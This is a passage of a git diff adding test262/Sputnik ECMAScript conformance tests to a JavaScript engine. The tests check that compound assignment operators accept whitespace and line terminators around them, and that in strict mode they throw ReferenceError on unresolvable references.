+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-8-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(>>>=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_8 >>>= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-9-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-9-s.js
new file mode 100644
index 000000000..3393d5c27
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-9-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-9-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(&=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_9 &= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T1.js
new file mode 100644
index 000000000..db0495c5c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T1.js
+ * @description Checking by using eval, check operator is x *= y
+ */
+
+//CHECK#1
+x = -1;
+if ((eval("x\u0009*=\u0009-1")) !== 1) {
+ $ERROR('#1: x = -1; (x\\u0009*=\\u0009-1) === 1');
+}
+
+//CHECK#2
+x = -1;
+if ((eval("x\u000B*=\u000B-1")) !== 1) {
+ $ERROR('#2: x = -1; (x\\u000B*=\\u000B-1) === 1');
+}
+
+//CHECK#3
+x = -1;
+if ((eval("x\u000C*=\u000C-1")) !== 1) {
+ $ERROR('#3: x = -1; (x\\u000C*=\\u000C-1) === 1');
+}
+
+//CHECK#4
+x = -1;
+if ((eval("x\u0020*=\u0020-1")) !== 1) {
+ $ERROR('#4: x = -1; (x\\u0020*=\\u0020-1) === 1');
+}
+
+//CHECK#5
+x = -1;
+if ((eval("x\u00A0*=\u00A0-1")) !== 1) {
+ $ERROR('#5: x = -1; (x\\u00A0*=\\u00A0-1) === 1');
+}
+
+//CHECK#6
+x = -1;
+if ((eval("x\u000A*=\u000A-1")) !== 1) {
+ $ERROR('#6: x = -1; (x\\u000A*=\\u000A-1) === 1');
+}
+
+//CHECK#7
+x = -1;
+if ((eval("x\u000D*=\u000D-1")) !== 1) {
+ $ERROR('#7: x = -1; (x\\u000D*=\\u000D-1) === 1');
+}
+
+//CHECK#8
+x = -1;
+if ((eval("x\u2028*=\u2028-1")) !== 1) {
+ $ERROR('#8: x = -1; (x\\u2028*=\\u2028-1) === 1');
+}
+
+//CHECK#9
+x = -1;
+if ((eval("x\u2029*=\u2029-1")) !== 1) {
+ $ERROR('#9: x = -1; (x\\u2029*=\\u2029-1) === 1');
+}
+
+
+//CHECK#10
+x = -1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029*=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029-1")) !== 1) {
+ $ERROR('#10: x = -1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029*=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029-1) === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T10.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T10.js
new file mode 100644
index 000000000..3487b3dd0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T10.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T10.js
+ * @description Checking by using eval, check operator is x ^= y
+ */
+
+//CHECK#1
+x = 1;
+if ((eval("x\u0009^=\u00091")) !== 0) {
+ $ERROR('#1: x = 1; (x\\u0009^=\\u00091) === 0');
+}
+
+//CHECK#2
+x = 1;
+if ((eval("x\u000B^=\u000B1")) !== 0) {
+ $ERROR('#2: x = 1; (x\\u000B^=\\u000B1) === 0');
+}
+
+//CHECK#3
+x = 1;
+if ((eval("x\u000C^=\u000C1")) !== 0) {
+ $ERROR('#3: x = 1; (x\\u000C^=\\u000C1) === 0');
+}
+
+//CHECK#4
+x = 1;
+if ((eval("x\u0020^=\u00201")) !== 0) {
+ $ERROR('#4: x = 1; (x\\u0020^=\\u00201) === 0');
+}
+
+//CHECK#5
+x = 1;
+if ((eval("x\u00A0^=\u00A01")) !== 0) {
+ $ERROR('#5: x = 1; (x\\u00A0^=\\u00A01) === 0');
+}
+
+//CHECK#6
+x = 1;
+if ((eval("x\u000A^=\u000A1")) !== 0) {
+ $ERROR('#6: x = 1; (x\\u000A^=\\u000A1) === 0');
+}
+
+//CHECK#7
+x = 1;
+if ((eval("x\u000D^=\u000D1")) !== 0) {
+ $ERROR('#7: x = 1; (x\\u000D^=\\u000D1) === 0');
+}
+
+//CHECK#8
+x = 1;
+if ((eval("x\u2028^=\u20281")) !== 0) {
+ $ERROR('#8: x = 1; (x\\u2028^=\\u20281) === 0');
+}
+
+//CHECK#9
+x = 1;
+if ((eval("x\u2029^=\u20291")) !== 0) {
+ $ERROR('#9: x = 1; (x\\u2029^=\\u20291) === 0');
+}
+
+
+//CHECK#10
+x = 1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029^=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 0) {
+ $ERROR('#10: x = 1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029^=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T11.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T11.js
new file mode 100644
index 000000000..fc81632c0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T11.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T11.js
+ * @description Checking by using eval, check operator is x |= y
+ */
+
+//CHECK#1
+x = 0;
+if ((eval("x\u0009|=\u00091")) !== 1) {
+ $ERROR('#1: x = 0; (x\\u0009|=\\u00091) === 1');
+}
+
+//CHECK#2
+x = 0;
+if ((eval("x\u000B|=\u000B1")) !== 1) {
+ $ERROR('#2: x = 0; (x\\u000B|=\\u000B1) === 1');
+}
+
+//CHECK#3
+x = 0;
+if ((eval("x\u000C|=\u000C1")) !== 1) {
+ $ERROR('#3: x = 0; (x\\u000C|=\\u000C1) === 1');
+}
+
+//CHECK#4
+x = 0;
+if ((eval("x\u0020|=\u00201")) !== 1) {
+ $ERROR('#4: x = 0; (x\\u0020|=\\u00201) === 1');
+}
+
+//CHECK#5
+x = 0;
+if ((eval("x\u00A0|=\u00A01")) !== 1) {
+ $ERROR('#5: x = 0; (x\\u00A0|=\\u00A01) === 1');
+}
+
+//CHECK#6
+x = 0;
+if ((eval("x\u000A|=\u000A1")) !== 1) {
+ $ERROR('#6: x = 0; (x\\u000A|=\\u000A1) === 1');
+}
+
+//CHECK#7
+x = 0;
+if ((eval("x\u000D|=\u000D1")) !== 1) {
+ $ERROR('#7: x = 0; (x\\u000D|=\\u000D1) === 1');
+}
+
+//CHECK#8
+x = 0;
+if ((eval("x\u2028|=\u20281")) !== 1) {
+ $ERROR('#8: x = 0; (x\\u2028|=\\u20281) === 1');
+}
+
+//CHECK#9
+x = 0;
+if ((eval("x\u2029|=\u20291")) !== 1) {
+ $ERROR('#9: x = 0; (x\\u2029|=\\u20291) === 1');
+}
+
+
+//CHECK#10
+x = 0;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029|=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 1) {
+ $ERROR('#10: x = 0; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029|=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T2.js
new file mode 100644
index 000000000..1e15c0115
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T2.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T2.js
+ * @description Checking by using eval, check operator is x /= y
+ */
+
+//CHECK#1
+x = -1;
+if ((eval("x\u0009/=\u0009-1")) !== 1) {
+ $ERROR('#1: x = -1; (x\\u0009/=\\u0009-1) === 1');
+}
+
+//CHECK#2
+x = -1;
+if ((eval("x\u000B/=\u000B-1")) !== 1) {
+ $ERROR('#2: x = -1; (x\\u000B/=\\u000B-1) === 1');
+}
+
+//CHECK#3
+x = -1;
+if ((eval("x\u000C/=\u000C-1")) !== 1) {
+ $ERROR('#3: x = -1; (x\\u000C/=\\u000C-1) === 1');
+}
+
+//CHECK#4
+x = -1;
+if ((eval("x\u0020/=\u0020-1")) !== 1) {
+ $ERROR('#4: x = -1; (x\\u0020/=\\u0020-1) === 1');
+}
+
+//CHECK#5
+x = -1;
+if ((eval("x\u00A0/=\u00A0-1")) !== 1) {
+ $ERROR('#5: x = -1; (x\\u00A0/=\\u00A0-1) === 1');
+}
+
+//CHECK#6
+x = -1;
+if ((eval("x\u000A/=\u000A-1")) !== 1) {
+ $ERROR('#6: x = -1; (x\\u000A/=\\u000A-1) === 1');
+}
+
+//CHECK#7
+x = -1;
+if ((eval("x\u000D/=\u000D-1")) !== 1) {
+ $ERROR('#7: x = -1; (x\\u000D/=\\u000D-1) === 1');
+}
+
+//CHECK#8
+x = -1;
+if ((eval("x\u2028/=\u2028-1")) !== 1) {
+ $ERROR('#8: x = -1; (x\\u2028/=\\u2028-1) === 1');
+}
+
+//CHECK#9
+x = -1;
+if ((eval("x\u2029/=\u2029-1")) !== 1) {
+ $ERROR('#9: x = -1; (x\\u2029/=\\u2029-1) === 1');
+}
+
+
+//CHECK#10
+x = -1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029/=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029-1")) !== 1) {
+ $ERROR('#10: x = -1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029/=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029-1) === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T3.js
new file mode 100644
index 000000000..1e2a6760a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T3.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T3.js
+ * @description Checking by using eval, check operator is x %= y
+ */
+
+//CHECK#1
+x = -1;
+if ((eval("x\u0009%=\u0009-1")) !== 0) {
+ $ERROR('#1: x = -1; (x\\u0009%=\\u0009-1) === 0');
+}
+
+//CHECK#2
+x = -1;
+if ((eval("x\u000B%=\u000B-1")) !== 0) {
+ $ERROR('#2: x = -1; (x\\u000B%=\\u000B-1) === 0');
+}
+
+//CHECK#3
+x = -1;
+if ((eval("x\u000C%=\u000C-1")) !== 0) {
+ $ERROR('#3: x = -1; (x\\u000C%=\\u000C-1) === 0');
+}
+
+//CHECK#4
+x = -1;
+if ((eval("x\u0020%=\u0020-1")) !== 0) {
+ $ERROR('#4: x = -1; (x\\u0020%=\\u0020-1) === 0');
+}
+
+//CHECK#5
+x = -1;
+if ((eval("x\u00A0%=\u00A0-1")) !== 0) {
+ $ERROR('#5: x = -1; (x\\u00A0%=\\u00A0-1) === 0');
+}
+
+//CHECK#6
+x = -1;
+if ((eval("x\u000A%=\u000A-1")) !== 0) {
+ $ERROR('#6: x = -1; (x\\u000A%=\\u000A-1) === 0');
+}
+
+//CHECK#7
+x = -1;
+if ((eval("x\u000D%=\u000D-1")) !== 0) {
+ $ERROR('#7: x = -1; (x\\u000D%=\\u000D-1) === 0');
+}
+
+//CHECK#8
+x = -1;
+if ((eval("x\u2028%=\u2028-1")) !== 0) {
+ $ERROR('#8: x = -1; (x\\u2028%=\\u2028-1) === 0');
+}
+
+//CHECK#9
+x = -1;
+if ((eval("x\u2029%=\u2029-1")) !== 0) {
+ $ERROR('#9: x = -1; (x\\u2029%=\\u2029-1) === 0');
+}
+
+
+//CHECK#10
+x = -1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029%=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029-1")) !== 0) {
+ $ERROR('#10: x = -1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029%=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029-1) === 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T4.js
new file mode 100644
index 000000000..fa97eb77f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T4.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T4.js
+ * @description Checking by using eval, check operator is x += y
+ */
+
+//CHECK#1
+x = -1;
+if ((eval("x\u0009+=\u0009-1")) !== -2) {
+ $ERROR('#1: x = -1; (x\\u0009+=\\u0009-1) === -2');
+}
+
+//CHECK#2
+x = -1;
+if ((eval("x\u000B+=\u000B-1")) !== -2) {
+ $ERROR('#2: x = -1; (x\\u000B+=\\u000B-1) === -2');
+}
+
+//CHECK#3
+x = -1;
+if ((eval("x\u000C+=\u000C-1")) !== -2) {
+ $ERROR('#3: x = -1; (x\\u000C+=\\u000C-1) === -2');
+}
+
+//CHECK#4
+x = -1;
+if ((eval("x\u0020+=\u0020-1")) !== -2) {
+ $ERROR('#4: x = -1; (x\\u0020+=\\u0020-1) === -2');
+}
+
+//CHECK#5
+x = -1;
+if ((eval("x\u00A0+=\u00A0-1")) !== -2) {
+ $ERROR('#5: x = -1; (x\\u00A0+=\\u00A0-1) === -2');
+}
+
+//CHECK#6
+x = -1;
+if ((eval("x\u000A+=\u000A-1")) !== -2) {
+ $ERROR('#6: x = -1; (x\\u000A+=\\u000A-1) === -2');
+}
+
+//CHECK#7
+x = -1;
+if ((eval("x\u000D+=\u000D-1")) !== -2) {
+ $ERROR('#7: x = -1; (x\\u000D+=\\u000D-1) === -2');
+}
+
+//CHECK#8
+x = -1;
+if ((eval("x\u2028+=\u2028-1")) !== -2) {
+ $ERROR('#8: x = -1; (x\\u2028+=\\u2028-1) === -2');
+}
+
+//CHECK#9
+x = -1;
+if ((eval("x\u2029+=\u2029-1")) !== -2) {
+ $ERROR('#9: x = -1; (x\\u2029+=\\u2029-1) === -2');
+}
+
+
+//CHECK#10
+x = -1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029+=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029-1")) !== -2) {
+ $ERROR('#10: x = -1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029+=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029-1) === -2');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T5.js
new file mode 100644
index 000000000..d4fc5a620
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T5.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T5.js
+ * @description Checking by using eval, check operator is x -= y
+ */
+
+//CHECK#1
+x = -1;
+if ((eval("x\u0009-=\u00091")) !== -2) {
+ $ERROR('#1: x = -1; (x\\u0009-=\\u00091) === -2');
+}
+
+//CHECK#2
+x = -1;
+if ((eval("x\u000B-=\u000B1")) !== -2) {
+ $ERROR('#2: x = -1; (x\\u000B-=\\u000B1) === -2');
+}
+
+//CHECK#3
+x = -1;
+if ((eval("x\u000C-=\u000C1")) !== -2) {
+ $ERROR('#3: x = -1; (x\\u000C-=\\u000C1) === -2');
+}
+
+//CHECK#4
+x = -1;
+if ((eval("x\u0020-=\u00201")) !== -2) {
+ $ERROR('#4: x = -1; (x\\u0020-=\\u00201) === -2');
+}
+
+//CHECK#5
+x = -1;
+if ((eval("x\u00A0-=\u00A01")) !== -2) {
+ $ERROR('#5: x = -1; (x\\u00A0-=\\u00A01) === -2');
+}
+
+//CHECK#6
+x = -1;
+if ((eval("x\u000A-=\u000A1")) !== -2) {
+ $ERROR('#6: x = -1; (x\\u000A-=\\u000A1) === -2');
+}
+
+//CHECK#7
+x = -1;
+if ((eval("x\u000D-=\u000D1")) !== -2) {
+ $ERROR('#7: x = -1; (x\\u000D-=\\u000D1) === -2');
+}
+
+//CHECK#8
+x = -1;
+if ((eval("x\u2028-=\u20281")) !== -2) {
+ $ERROR('#8: x = -1; (x\\u2028-=\\u20281) === -2');
+}
+
+//CHECK#9
+x = -1;
+if ((eval("x\u2029-=\u20291")) !== -2) {
+ $ERROR('#9: x = -1; (x\\u2029-=\\u20291) === -2');
+}
+
+
+//CHECK#10
+x = -1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029-=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== -2) {
+ $ERROR('#10: x = -1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029-=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === -2');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T6.js
new file mode 100644
index 000000000..65370cf1b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T6.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T6.js
+ * @description Checking by using eval, check operator is x <<= y
+ */
+
+//CHECK#1
+x = 1;
+if ((eval("x\u0009<<=\u00091")) !== 2) {
+ $ERROR('#1: x = 1; (x\\u0009<<=\\u00091) === 2');
+}
+
+//CHECK#2
+x = 1;
+if ((eval("x\u000B<<=\u000B1")) !== 2) {
+ $ERROR('#2: x = 1; (x\\u000B<<=\\u000B1) === 2');
+}
+
+//CHECK#3
+x = 1;
+if ((eval("x\u000C<<=\u000C1")) !== 2) {
+ $ERROR('#3: x = 1; (x\\u000C<<=\\u000C1) === 2');
+}
+
+//CHECK#4
+x = 1;
+if ((eval("x\u0020<<=\u00201")) !== 2) {
+ $ERROR('#4: x = 1; (x\\u0020<<=\\u00201) === 2');
+}
+
+//CHECK#5
+x = 1;
+if ((eval("x\u00A0<<=\u00A01")) !== 2) {
+ $ERROR('#5: x = 1; (x\\u00A0<<=\\u00A01) === 2');
+}
+
+//CHECK#6
+x = 1;
+if ((eval("x\u000A<<=\u000A1")) !== 2) {
+ $ERROR('#6: x = 1; (x\\u000A<<=\\u000A1) === 2');
+}
+
+//CHECK#7
+x = 1;
+if ((eval("x\u000D<<=\u000D1")) !== 2) {
+ $ERROR('#7: x = 1; (x\\u000D<<=\\u000D1) === 2');
+}
+
+//CHECK#8
+x = 1;
+if ((eval("x\u2028<<=\u20281")) !== 2) {
+ $ERROR('#8: x = 1; (x\\u2028<<=\\u20281) === 2');
+}
+
+//CHECK#9
+x = 1;
+if ((eval("x\u2029<<=\u20291")) !== 2) {
+ $ERROR('#9: x = 1; (x\\u2029<<=\\u20291) === 2');
+}
+
+
+//CHECK#10
+x = 1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029<<=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 2) {
+ $ERROR('#10: x = 1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029<<=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 2');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T7.js
new file mode 100644
index 000000000..5093eaeca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T7.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T7.js
+ * @description Checking by using eval, check operator is x >>= y
+ */
+
+//CHECK#1
+x = 1;
+if ((eval("x\u0009>>=\u00091")) !== 0) {
+ $ERROR('#1: x = 1; (x\\u0009>>=\\u00091) === 0');
+}
+
+//CHECK#2
+x = 1;
+if ((eval("x\u000B>>=\u000B1")) !== 0) {
+ $ERROR('#2: x = 1; (x\\u000B>>=\\u000B1) === 0');
+}
+
+//CHECK#3
+x = 1;
+if ((eval("x\u000C>>=\u000C1")) !== 0) {
+ $ERROR('#3: x = 1; (x\\u000C>>=\\u000C1) === 0');
+}
+
+//CHECK#4
+x = 1;
+if ((eval("x\u0020>>=\u00201")) !== 0) {
+ $ERROR('#4: x = 1; (x\\u0020>>=\\u00201) === 0');
+}
+
+//CHECK#5
+x = 1;
+if ((eval("x\u00A0>>=\u00A01")) !== 0) {
+ $ERROR('#5: x = 1; (x\\u00A0>>=\\u00A01) === 0');
+}
+
+//CHECK#6
+x = 1;
+if ((eval("x\u000A>>=\u000A1")) !== 0) {
+ $ERROR('#6: x = 1; (x\\u000A>>=\\u000A1) === 0');
+}
+
+//CHECK#7
+x = 1;
+if ((eval("x\u000D>>=\u000D1")) !== 0) {
+ $ERROR('#7: x = 1; (x\\u000D>>=\\u000D1) === 0');
+}
+
+//CHECK#8
+x = 1;
+if ((eval("x\u2028>>=\u20281")) !== 0) {
+ $ERROR('#8: x = 1; (x\\u2028>>=\\u20281) === 0');
+}
+
+//CHECK#9
+x = 1;
+if ((eval("x\u2029>>=\u20291")) !== 0) {
+ $ERROR('#9: x = 1; (x\\u2029>>=\\u20291) === 0');
+}
+
+
+//CHECK#10
+x = 1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029>>=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 0) {
+ $ERROR('#10: x = 1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029>>=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T8.js
new file mode 100644
index 000000000..8469f353d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T8.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T8.js
+ * @description Checking by using eval, check operator is x >>>= y
+ */
+
+//CHECK#1
+x = 1;
+if ((eval("x\u0009>>>=\u00091")) !== 0) {
+ $ERROR('#1: x = 1; (x\\u0009>>>=\\u00091) === 0');
+}
+
+//CHECK#2
+x = 1;
+if ((eval("x\u000B>>>=\u000B1")) !== 0) {
+ $ERROR('#2: x = 1; (x\\u000B>>>=\\u000B1) === 0');
+}
+
+//CHECK#3
+x = 1;
+if ((eval("x\u000C>>>=\u000C1")) !== 0) {
+ $ERROR('#3: x = 1; (x\\u000C>>>=\\u000C1) === 0');
+}
+
+//CHECK#4
+x = 1;
+if ((eval("x\u0020>>>=\u00201")) !== 0) {
+ $ERROR('#4: x = 1; (x\\u0020>>>=\\u00201) === 0');
+}
+
+//CHECK#5
+x = 1;
+if ((eval("x\u00A0>>>=\u00A01")) !== 0) {
+ $ERROR('#5: x = 1; (x\\u00A0>>>=\\u00A01) === 0');
+}
+
+//CHECK#6
+x = 1;
+if ((eval("x\u000A>>>=\u000A1")) !== 0) {
+ $ERROR('#6: x = 1; (x\\u000A>>>=\\u000A1) === 0');
+}
+
+//CHECK#7
+x = 1;
+if ((eval("x\u000D>>>=\u000D1")) !== 0) {
+ $ERROR('#7: x = 1; (x\\u000D>>>=\\u000D1) === 0');
+}
+
+//CHECK#8
+x = 1;
+if ((eval("x\u2028>>>=\u20281")) !== 0) {
+ $ERROR('#8: x = 1; (x\\u2028>>>=\\u20281) === 0');
+}
+
+//CHECK#9
+x = 1;
+if ((eval("x\u2029>>>=\u20291")) !== 0) {
+ $ERROR('#9: x = 1; (x\\u2029>>>=\\u20291) === 0');
+}
+
+
+//CHECK#10
+x = 1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029>>>=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 0) {
+ $ERROR('#10: x = 1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029>>>=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T9.js
new file mode 100644
index 000000000..c73eac5e1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A1_T9.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LeftHandSideExpression and "@=" or between "@=" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A1_T9.js
+ * @description Checking by using eval, check operator is x &= y
+ */
+
+//CHECK#1
+x = 1;
+if ((eval("x\u0009&=\u00091")) !== 1) {
+ $ERROR('#1: x = 1; (x\\u0009&=\\u00091) === 1');
+}
+
+//CHECK#2
+x = 1;
